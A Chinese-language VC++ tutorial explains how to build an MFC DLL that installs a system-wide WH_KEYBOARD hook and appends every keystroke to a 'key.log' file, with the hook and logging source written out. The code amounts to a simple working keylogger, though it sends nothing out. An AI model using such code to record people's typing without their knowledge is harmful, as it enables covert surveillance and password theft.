VC++实现监视系统的键盘操作 创建记录键盘动作的全局钩子DLL
全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC++6.0中有三种形式的MFC DLL可供选择,即
Regular DLL with MFC statically linked(标准静态链接MFC DLL)
Regular DLL using shared MFC DLL(标准动态链接MFC DLL)
MFC Extension DLL(using shared MFC DLL)(扩展MFC DLL)。
我使用的是标准静态连接MFC DLL。
将DLL中的函数导出,有两种方法:
1.在函数声明时使用_declspec(dllexport)
2.在模块定义文件(.def)中进行说明
第二种示例如下:
LIBRARY "KeyHookDll"
DESCRIPTION 'KeyHookDll Windows Dynamic Link Library'
EXPORTS
; Explicit exports can go here
LoadHook
LoadHook就是定义的导出函数。
我们使用第一种。
创建记录键盘动作的全局钩子DLL
1.新建MFC AppWizard(dll),工程名为KeyHook.
2.在KeyHookDll.h文件中添加以下代码:
#define DllExport _declspec(dllexport)
//声明导出函数
DllExport void WINAPI LoadHook();
3.在KeyHookDll.cpp中添加以下代码:
[cpp]
HHOOK Hook;
LRESULT CALLBACK HookKeyBoard(int nCode,WPARAM wParam,LPARAM lParam);
void KeyLog(char *c);
DllExport void WINAPI LoadHook()
{
[cpp]
//WH_KEYBOARD:安装一个挂钩处理过程对击键消息进行监控
Hook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookKeyBoard,theApp.m_hInstance,0);
}
LRESULT CALLBACK HookKeyBoard(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result = CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode == HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0] = wParam;
KeyLog(c);
}
}
return Result;
}
void KeyLog(char *c)
{
CFile file;
if(!file.Open("key.log",CFile::modeReadWrite))
{
file.Open("key.log",CFile::modeCreate | CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
当nCode = HC_ACTION时,参数wParam和lParam包含一个击键消息的信息
wParam:产生此击键消息的虚拟键代码
lParam:记录了按键的重复次数、扫描码、转移代码、先前键的状态等信息。此参数可以是以下值的组合值:
0-15位:记录用户摁键引发的重复次数。
16-23位:扫描码,依赖于键盘生产厂家。
24位:指示此键是否为扩展键,如功能键或数字小键盘上的键,当该键为扩展键时,其值为1.
25-28位:保留
29位:上下文代码,若Alt键被摁下,则其值为1
30位:指示此前的键状态,若在此消息被发送之前该键是被摁下的,其值为1
31位:指示变化状态,若此键正在被摁下,则其值为0
挂钩处理过程被置于不同的具有一定挂钩类型的挂钩链中,函数CallNextHookEx调用该链中的下一个挂钩。对函数CallNextHookEx调用是可选的,但极力推荐使用。否则,其他安装了挂钩的应用程序将无法收到挂钩通知,由此可能产生错误的行为。除非你确实需要使其他程序不能获得此挂钩通知。
补充:软件开发 , Vc ,